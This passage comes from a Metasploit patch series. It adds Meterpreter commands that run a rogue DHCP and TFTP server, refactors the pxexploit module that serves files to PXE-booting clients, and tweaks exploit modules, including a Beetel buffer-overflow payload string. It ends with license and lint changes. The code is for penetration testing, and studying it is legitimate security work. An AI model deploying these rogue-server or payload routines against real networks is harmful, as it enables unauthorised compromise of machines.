client.lanattacks.dhcp.reset + print_good( "DHCP server reset.") + end + + @@dhcp_set_option_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + @@dhcp_set_option_valid_options = [ + "BROADCAST", "DHCPIPEND", "DHCPIPSTART", "DNSSERVER", + "FILENAME", "HOSTNAME", "HOSTSTART", "NETMASK", + "PXE", "PXECONF", "ROUTER", "SERVEONCE", "SRVHOST" + ] + + def print_dhcp_set_option_usage + print("dhcp_set_option [-h]\n\n" + + "Set a DHCP server option.\n\n" + + "Valid names are:\n" + + @@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') + + @@dhcp_set_option_opts.usage + "\n") + end + + def cmd_dhcp_set_option(*args) + @@dhcp_set_option_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_set_option_usage + return true + end + } + + if args.length < 2 + print_dhcp_set_option_usage + return true + end + + + name = args.shift.upcase + value = args.shift + + if not @@dhcp_set_option_valid_options.include? name + print_error( "Invalid option name '#{name}'." ) + return true + end + + client.lanattacks.dhcp.set_option(name, value) + end + + @@dhcp_load_options_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_dhcp_load_options_usage + print("dhcp_load_options [-h]\n\n" + + "Load settings from a datstore to the active DHCP server.\n\n" + + "The datastore must be a hash of name/value pairs.\n" + + "Valid names are:\n" + + @@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') + + @@dhcp_set_option_opts.usage + "\n") + end + + def cmd_dhcp_load_options(*args) + @@dhcp_set_option_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_set_option_usage + return true + end + } + + if args.length < 1 + print_dhcp_load_options_usage + return true + end + + datastore = args.shift + + if not datastore.is_a?(Hash) + print_dhcp_load_options_usage + return true + end + + client.lanattacks.dhcp.load_options(datastore) + end + + @@dhcp_log_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_dhcp_log_usage + print("dhcp_log [-h]\n\n" + + "Logs the DHCP operations captured by the DHCP server.\n" + + @@dhcp_log_opts.usage + "\n") + end + + def cmd_dhcp_log(*args) + @@dhcp_log_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_dhcp_log_usage + return true + end + } + + log = client.lanattacks.dhcp.log + + table = Rex::Ui::Text::Table.new( + 'Header' => 'DHCP Server Log', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ 'MAC Address', 'IP Address' ] + ) + + log.each { |l| + table << [ l[:mac], l[:ip] ] + } + + print_line() + print_line( table.to_s ) + print_line( "Total log entries: #{log.length}" ) + print_line() + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb new file mode 100644 index 0000000000..d0c9a30bde --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb @@ -0,0 +1,159 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# The networking portion of the standard API extension. +# +### +class Console::CommandDispatcher::Lanattacks::Tftp + + Klass = Console::CommandDispatcher::Lanattacks::Tftp + + include Console::CommandDispatcher + + # + # List of supported commands. + # + def commands + all = { + "tftp_start" => "Start the TFTP server", + "tftp_stop" => "Stop the TFTP server", + "tftp_reset" => "Reset the TFTP server", + "tftp_add_file" => "Add a file to the TFTP server" + } + + reqs = { + "tftp_start" => [ "lanattacks_start_tftp" ], + "tftp_stop" => [ "lanattacks_stop_tftp" ], + "tftp_reset" => [ "lanattacks_reset_tftp" ], + "tftp_add_file" => [ "lanattacks_add_tftp_file" ], + } + + all.delete_if do |cmd, desc| + del = false + reqs[cmd].each do |req| + next if client.commands.include? req + del = true + break + end + + del + end + + all + end + + # + # Name for this dispatcher. + # + def name + "Lanattacks: TFTP" + end + + @@tftp_start_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_tftp_start_usage + print("tftp_start [-h]\n\n" + + "Starts a TFTP server in the current Meterpreter session.\n" + + @@tftp_start_opts.usage + "\n") + end + + def cmd_tftp_start(*args) + @@tftp_start_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_tftp_start_usage + return true + end + } + + print_status( "Starting TFTP server ..." ) + client.lanattacks.tftp.start + print_good( "TFTP server startd." ) + end + + @@tftp_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_tftp_stop_usage + print("tftp_stop [-h]\n\n" + + "Stops the currently running TFTP server.\n" + + @@tftp_stop_opts.usage + "\n") + end + + def cmd_tftp_stop(*args) + @@tftp_stop_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_tftp_stop_usage + return true + end + } + + print_status( "Stopping TFTP server ..." ) + client.lanattacks.tftp.stop + print_good( "TFTP server stopped." ) + end + + @@tftp_reset_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_tftp_reset_usage + print("tftp_reset [-h]\n\n" + + "Resets the currently running TFTP server.\n" + + @@tftp_reset_opts.usage + "\n") + end + + def cmd_tftp_reset(*args) + @@tftp_reset_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_tftp_reset_usage + return true + end + } + + print_status( "Resetting TFTP server ..." ) + client.lanattacks.tftp.reset + print_good( "TFTP server reset." ) + end + + @@tftp_add_file_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + + def print_tftp_add_file_usage + print("tftp_add_file [-h]\n\n" + + "Add a file to the currently running TFTP server.\n" + + @@tftp_add_file_opts.usage + "\n") + end + + def cmd_tftp_add_file(*args) + @@tftp_add_file_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_tftp_add_file_usage + return true + end + } + + name = args.shift + + print_status( "Adding file #{name} ..." ) + client.lanattacks.tftp.add_file(name, ::File.read(name)) + print_good( "File added." ) + end + +end + +end +end +end +end + From 84572c58a8175ee180a7e1e5de62e99b4df2e9dc Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 4 Nov 2013 12:10:38 -0600 Subject: [PATCH 376/409] Minor fixup for release * Adds some new refs. * Fixes a typo in a module desc. * Fixes a weird slash continuation for string building (See #2589) --- modules/auxiliary/admin/http/openbravo_xxe.rb | 2 ++ modules/exploits/multi/http/processmaker_exec.rb | 2 ++ .../exploits/windows/fileformat/beetel_netconfig_ini_bof.rb | 5 ++--- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index 1927673680..7ada6c5f27 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -30,6 +30,8 @@ class Metasploit4 < Msf::Auxiliary 'References' => [ ['CVE', '2013-3617'], + ['OSVDB', '99141'], + ['BID', '63431'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index a507b478c6..2e47e916bc 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => 'Brendan Coles ', 'References' => [ + ['OSVDB' => '99199'], + ['BID' => '63411'], ['URL' => 'http://bugs.processmaker.com/view.php?id=13436'] ], 'Payload' => diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index b67fc1bf3b..957da96c6e 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -19,7 +19,7 @@ class Metasploit4 < Msf::Exploit This module exploits a stack-based buffer overflow on Beetel Connection Manager. The vulnerability exists in the parising of the UserName parameter in the NetConfig.ini file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP - SP3 and Windows 7 SP1.b + SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -62,8 +62,7 @@ class Metasploit4 < Msf::Exploit def exploit section = datastore["SECTION"] - sploit = "[#{section}]\r\n" \ - "UserName=#{shell_popper}" + sploit = "[#{section}]\r\nUserName=#{shell_popper}" file_create(sploit) end From f62247e73195040318ba8a4b7780a0c57fe4ed8d Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 5 Nov 2013 06:35:50 +1000 Subject: [PATCH 377/409] Fix comments, indenting and pxexploit module Updated the comments and indentation so they're not blatantly wrong. Adjusted the pxexploit module so that it doesn't break any more as a result of the refactoring. --- .../extensions/lanattacks/lanattacks.rb | 4 +- .../console/command_dispatcher/lanattacks.rb | 4 +- .../command_dispatcher/lanattacks/dhcp.rb | 42 +++++++++---------- .../command_dispatcher/lanattacks/tftp.rb | 26 ++++++------ modules/post/windows/manage/pxexploit.rb | 16 +++---- 5 files changed, 46 insertions(+), 46 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb b/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb index 7c76faf6ab..79237ea86e 100644 --- a/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +++ b/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb @@ -19,10 +19,10 @@ module Lanattacks class Lanattacks < Extension # - # Initializes an instance of the standard API extension. + # Initializes an instance of the lanattacks extension. # def initialize(client) - super(client, 'stdapi') + super(client, 'lanattacks') # Alias the following things on the client object so that they # can be directly referenced diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb index d345602297..f396068a1f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb @@ -8,7 +8,7 @@ module Ui ### # -# Standard API extension. +# Lanattacks extension. # ### class Console::CommandDispatcher::Lanattacks @@ -27,7 +27,7 @@ class Console::CommandDispatcher::Lanattacks include Console::CommandDispatcher # - # Initializes an instance of the stdapi command interaction. + # Initializes an instance of the lanattacks command interaction. # def initialize(shell) super diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb index 11fe0790ac..1114d0c37d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -8,7 +8,7 @@ module Ui ### # -# The networking portion of the standard API extension. +# The DHCP portion of the lanattacks extension. # ### class Console::CommandDispatcher::Lanattacks::Dhcp @@ -72,9 +72,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_start(*args) @@dhcp_start_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_start_usage - return true + when '-h' + print_dhcp_start_usage + return true end } @@ -95,9 +95,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_stop(*args) @@dhcp_stop_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_stop_usage - return true + when '-h' + print_dhcp_stop_usage + return true end } @@ -118,9 +118,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_reset(*args) @@dhcp_reset_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_reset_usage - return true + when '-h' + print_dhcp_reset_usage + return true end } @@ -149,9 +149,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_set_option(*args) @@dhcp_set_option_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_set_option_usage - return true + when '-h' + print_dhcp_set_option_usage + return true end } @@ -187,9 +187,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_load_options(*args) @@dhcp_set_option_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_set_option_usage - return true + when '-h' + print_dhcp_set_option_usage + return true end } @@ -220,9 +220,9 @@ class Console::CommandDispatcher::Lanattacks::Dhcp def cmd_dhcp_log(*args) @@dhcp_log_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_dhcp_log_usage - return true + when '-h' + print_dhcp_log_usage + return true end } @@ -239,10 +239,10 @@ class Console::CommandDispatcher::Lanattacks::Dhcp table << [ l[:mac], l[:ip] ] } - print_line() + print_line print_line( table.to_s ) print_line( "Total log entries: #{log.length}" ) - print_line() + print_line end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb index d0c9a30bde..29235f141c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb @@ -8,7 +8,7 @@ module Ui ### # -# The networking portion of the standard API extension. +# The TFTP portion of the lanattacks extension. # ### class Console::CommandDispatcher::Lanattacks::Tftp @@ -68,9 +68,9 @@ class Console::CommandDispatcher::Lanattacks::Tftp def cmd_tftp_start(*args) @@tftp_start_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_tftp_start_usage - return true + when '-h' + print_tftp_start_usage + return true end } @@ -91,9 +91,9 @@ class Console::CommandDispatcher::Lanattacks::Tftp def cmd_tftp_stop(*args) @@tftp_stop_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_tftp_stop_usage - return true + when '-h' + print_tftp_stop_usage + return true end } @@ -114,9 +114,9 @@ class Console::CommandDispatcher::Lanattacks::Tftp def cmd_tftp_reset(*args) @@tftp_reset_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_tftp_reset_usage - return true + when '-h' + print_tftp_reset_usage + return true end } @@ -137,9 +137,9 @@ class Console::CommandDispatcher::Lanattacks::Tftp def cmd_tftp_add_file(*args) @@tftp_add_file_opts.parse(args) { |opt, idx, val| case opt - when '-h' - print_tftp_add_file_usage - return true + when '-h' + print_tftp_add_file_usage + return true end } diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index a9c518c5f9..f38e6fcad6 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -55,29 +55,29 @@ class Metasploit3 < Msf::Post else if datastore['RESETPXE'] print_status("Resetting PXE attack...") - client.lanattacks.reset_dhcp + client.lanattacks.dhcp.reset end end #Not setting these options (using autodetect) print_status("Loading DHCP options...") - client.lanattacks.load_dhcp_options(datastore) + client.lanattacks.dhcp.load_options(datastore) 0.upto(4) do |i| print_status("Loading file #{i+1} of 5") contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) - client.lanattacks.add_tftp_file("update#{i}",contents) + client.lanattacks.tftp.add_file("update#{i}",contents) end print_status("Starting TFTP server...") - client.lanattacks.start_tftp + client.lanattacks.tftp.start print_status("Starting DHCP server...") - client.lanattacks.start_dhcp + client.lanattacks.dhcp.start print_status("PXEsploit attack started") while (true) do begin # get stats every 20s select(nil, nil, nil, 20) - client.lanattacks.dhcp_log.each do |item| + client.lanattacks.dhcp.log.each do |item| print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ "(#{Rex::Socket.addr_ntoa(item[1])})") report_note({ @@ -87,9 +87,9 @@ class Metasploit3 < Msf::Post end rescue ::Interrupt print_status("Stopping TFTP server...") - client.lanattacks.stop_tftp + client.lanattacks.tftp.stop print_status("Stopping DHCP server...") - client.lanattacks.stop_dhcp + client.lanattacks.dhcp.stop print_status("PXEsploit attack stopped") return end From e4f9de589dd8f1ae725b8e40152300140440766f Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Nov 2013 17:27:28 -0600 Subject: [PATCH 378/409] Update 3rd party licenses Since we no longer ship a gemcache, this removes references to the gemcache. I still list all 3rd party gems for convenience. --- LICENSE | 347 ++++++++++++++++++++------------------------------------ 1 file changed, 122 insertions(+), 225 deletions(-) diff --git a/LICENSE b/LICENSE index 237eff3bac..acb2f21eca 100644 --- a/LICENSE +++ b/LICENSE @@ -12,7 +12,7 @@ License: BSD-3-clause # # This license does not apply to third-party components detailed below. # -# Last updated: 2013-Mar-25 +# Last updated: 2013-Nov-04 # Files: data/john/* @@ -166,230 +166,6 @@ Files: lib/fastlib.rb Copyright: 2011, Rapid7 Inc. License: Ruby -Files: lib/gemcache/ruby/1.9.1/arch/*/eventmachine-*/* -Copyright: 2006-2007, Francis Cianfrocca -License: Ruby - -Files: lib/gemcache/ruby/1.9.1/arch/*/json-*/* -Copyright: Daniel Luz -License: Ruby - -Files: lib/gemcache/ruby/1.9.1/arch/*/msgpack-*/* -Copyright: Austin Ziegler -License: Ruby - -Files: lib/gemcache/ruby/1.9.1/arch/*/nokogiri-*/* -Copyright: 2008 - 2012 Aaron Patterson, Mike Dalessio, Charles Nutter, Sergio Arbeo, Patrick Mahoney, Yoko Harada -License: MIT - -Files: lib/gemcache/ruby/1.9.1/arch/*/pg-*/* -Copyright: 1997-2012 by the authors -License: Ruby - -Files: lib/gemcache/ruby/1.9.1/arch/*/thin-*/* -Copyright: Marc-Andre Cournoyer -License: Ruby - -Files: lib/gemcache/ruby/1.9.1/arch/*/win32-api-*/* -Copyright: 2003-2011, Daniel J. Berger -License: Artistic - -Files: lib/gemcache/ruby/1.9.1/arch/*/win32-service-*/* -Copyright: 2003-2011, Daniel J. Berger -License: Artistic - -Files: lib/gemcache/ruby/1.9.1/arch/*/windows-api-*/* -Copyright: 2007-2012, Daniel J. Berger -License: Artistic - -Files: lib/gemcache/ruby/1.9.1/arch/*/windows-pr-*/* -Copyright: 2006-2010, Daniel J. Berger -License: Artistic - -Files: lib/gemcache/ruby/1.9.1/gems/coderay-*/* -Copyright: 2006-2011, murphy (Kornelius Kalnback) -License: LGPL-2.1 - -Files: lib/gemcache/ruby/1.9.1/gems/actionmailer-*/* -Copyright: 2004-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/actionpack-*/* -Copyright: 2004-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/activemodel-*/* -Copyright: 2004-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/activerecord-*/* -Copyright: 2004-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/activeresource-*/* -Copyright: 2006-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/activesupport-*/* -Copyright: 2005-2011 David Heinemeier Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/acts_as_list-*/* -Copyright: 2007 David Heinemeir Hansson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/arel-*/* -Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/authlogic-*/* -Copyright: 2011 Ben Johnson of Binary Logic -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/builder-*/* -Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com) -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/carrierwave-*/* -Copyright: 2008-2012 Jonas Nicklas -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/chunky_png-*/* -Copyright: 2010 Willem van Bergen -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/coderay-*/* -Copyright: Rob Aldred -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/daemons-*/* -Copyright: 2005-2012 Thomas Uehlinger -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/diff-lcs-*/* -Copyright: 2004-2011 Austin Ziegler -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/erubis-*/* -Copyright: 2006-2011 kuwata-lab.com all rights reserved -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/formtastic-*/* -Copyright: 2008-2010 -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/fssm-*/* -Copyright: 2011 Travis Tilley -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/hike-*/* -Copyright: 2011 Sam Stephenson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/i18n-*/* -Copyright: 2008 The Ruby I18n team -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/ice_cube-*/* -Copyright: 2010-2012 John Crepezzi -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/journey-*/* -Copyright: 2011 Aaron Patternson -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/jquery-rails-*/* -Copyright: 2010 Andre Arko -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/liquid-*/* -Copyright: 2005, 2006 Tobias Luetke -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/mail-*/* -Copyright: 2009, 2010, 2011, 2012 Mikel Lindsaar -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/metasploit_data_modules-*/* -Copyright: 2012 Rapid7, Inc. -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/method_source-*/* -Copyright: 2011 John Mair (banisterfiend) -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/multi_json-*/* -Copyright: 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc. -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/polyglot-*/* -Copyright: 2007 Clifford Heath -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/prototype_legacy_helper-*/* -Copyright: No copyright statement provided (unmaintained per https://github.com/rails/prototype_legacy_helper) -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/rack-*/* -Copyright: 2007-2010 Christian Neukirchen -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/rack-cache-*/* -Copyright: 2008 Ryan Tomayko -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/rack-ssl-*/* -Copyright: 2010 Joshua Peek -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/rack-test-*/* -Copyright: 2008-2009 Bryan Helmkamp, Engine Yard Inc. -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/railties-*/* -Copyright: No copyright statement provided -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/rake-*/* -Copyright: 2003, 2004 Jim Weirich -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/robots-*/* -Copyright: 2008 Kyle Maxwell, contributors -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/slop-*/* -Copyright: 2012 Lee Jarvis -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/spork-*/* -Copyright: 2009 Tim Harper -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/sprockets-*/* -Copyright: 2011 Sam Stephenson, Joshua Peek -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/state_machine-*/* -Copyright: 2006-2012 Aaron Pfeifer -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/thor-*/* -Copyright: 2008 Yehuda Katz -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/tilt-*/* -Copyright: 2010 Ryan Tomayko -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/treetop-*/* -Copyright: 2007 Nathan Sobo -License: MIT - -Files: lib/gemcache/ruby/1.9.1/gems/tzinfo-*/* -Copyright: 2005-2006 Philip Ross -License: MIT - Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* Copyright: 2006-2010 Yoann GUILLOT License: LGPL-2.1 @@ -454,6 +230,127 @@ Files: modules/payloads/singles/windows/speak_pwned.rb Copyright: 2009-2010 Berend-Jan "SkyLined" Wever License: BSD-3-clause +# +# Gems +# + +Files: activemodel +Copyright: 2004-2011 David Heinemeier Hansson +License: MIT + +Files: activerecord +Copyright: 2004-2011 David Heinemeier Hansson +License: MIT + +Files: activesupport +Copyright: 2005-2011 David Heinemeier Hansson +License: MIT + +Files: arel +Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson +License: MIT + +Files: builder +Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com) +License: MIT + +Files: database_cleaner +Copyright: 2009 Ben Mabey +License: MIT + +Files: diff-lcs +Copyright: 2004-2011 Austin Ziegler +License: MIT + +Files: factory_girl +Copyright: 2008-2013 Joe Ferris and thoughtbot, inc. +License: MIT + +Files: fivemat +Copyright: 2012 Tim Pope +License: MIT + +Files: i18n +Copyright: 2008 The Ruby I18n team +License: MIT + +Files: json +Copyright: Daniel Luz +License: Ruby + +Files: metasploit_data_models +Copyright: 2012 Rapid7, Inc. +License: MIT + +Files: mini_portile +Copyright: 2011 Luis Lavena +License: MIT + +Files: msgpack +Copyright: Austin Ziegler +License: Ruby + +Files: multi_json +Copyright: 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc. +License: MIT + +Files: network_interface +Copyright: 2012, Rapid7, Inc. +License: MIT + +Files: nokogiri +Copyright: 2008 - 2012 Aaron Patterson, Mike Dalessio, Charles Nutter, Sergio Arbeo, Patrick Mahoney, Yoko Harada +License: MIT + +Files: packetfu +Copyright: 2008-2012 Tod Beardsley +License: BSD-3-clause + +Files: pcaprub +Copyright: 2007-2008, Alastair Houghton +License: LGPL-2.1 + +Files: pg +Copyright: 1997-2012 by the authors +License: Ruby + +Files: rake +Copyright: 2003, 2004 Jim Weirich +License: MIT + +Files: redcarpet +Copyright: 2009 Natacha Porté +License: MIT + +Files: robots +Copyright: 2008 Kyle Maxwell, contributors +License: MIT + +Files: rspec +Copyright: 2009 Chad Humphries, David Chelimsky +License: MIT + +Files: shoulda-matchers +Copyright: 2006-2013, Tammer Saleh, thoughtbot, inc. +License: MIT + +Files: simplecov +Copyright: 2010-2012 Christoph Olszowka +License: MIT + +Files: timecop +Copyright: 2012 Travis Jeffery, John Trupiano +License: MIT + +Files: tzinfo +Copyright: 2005-2006 Philip Ross +License: MIT + +Files: yard +Copyright: 2007-2013 Loren Segal +License: MIT + + License: BSD-2-clause Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: From bcc9c760c4b09cab8575c4bb95f06c2f2eb0895f Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 5 Nov 2013 11:49:15 -0600 Subject: [PATCH 379/409] Add +x check to msftidy --- tools/msftidy.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index d72bfc1af4..1fdad36b3c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -38,7 +38,7 @@ class Msftidy LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - attr_reader :full_filepath, :source, :name + attr_reader :full_filepath, :source, :stat, :name def initialize(source_file) @full_filepath = source_file @@ -78,6 +78,12 @@ class Msftidy # ## + def check_mode + unless (@stat.mode & 0111).zero? + warn("Module should not be marked executable") + end + end + def check_ref_identifiers in_super = false in_refs = false @@ -428,7 +434,8 @@ class Msftidy def load_file(file) f = open(file, 'rb') - buf = f.read(f.stat.size) + @stat = f.stat + buf = f.read(@stat.size) f.close return buf end @@ -436,6 +443,7 @@ end def run_checks(full_filepath) tidy = Msftidy.new(full_filepath) + tidy.check_mode tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option From 36f96d343ed882040cbfeb506ed3059896134617 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Nov 2013 13:45:00 -0600 Subject: [PATCH 380/409] Revert "Revert "Land #2505" to resolve new rspec fails" This reverts commit e7d3206dc9d153fe7867fb6c7764620273f9faf3. --- lib/msf/core/exploit/local/unix.rb | 19 -- modules/exploits/linux/local/sock_sendpage.rb | 290 +++++++++++------- 2 files changed, 185 insertions(+), 124 deletions(-) delete mode 100644 lib/msf/core/exploit/local/unix.rb diff --git a/lib/msf/core/exploit/local/unix.rb b/lib/msf/core/exploit/local/unix.rb deleted file mode 100644 index 5a35ebbe63..0000000000 --- a/lib/msf/core/exploit/local/unix.rb +++ /dev/null @@ -1,19 +0,0 @@ - -module Msf -module Exploit::Local::Unix - - include Exploit::Local::CompileC - - def unix_socket_h(metasm_exe) - [ - "external/source/meterpreter/source/bionic/libc/include/sys/socket.h", - ].each do |fname| - cparser.parse(File.read(fname), fname) - end - - end - - -end -end - diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 849aa1b7e3..231612a9b1 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' -require 'msf/core/exploit/local/unix' require 'msf/core/exploit/exe' #load 'lib/msf/core/post/file.rb' @@ -23,7 +22,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux - include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { @@ -69,92 +67,166 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 13 2009", } )) + register_options([ + OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), + ]) + register_options([ + OptBool.new("DEBUG", [ true, 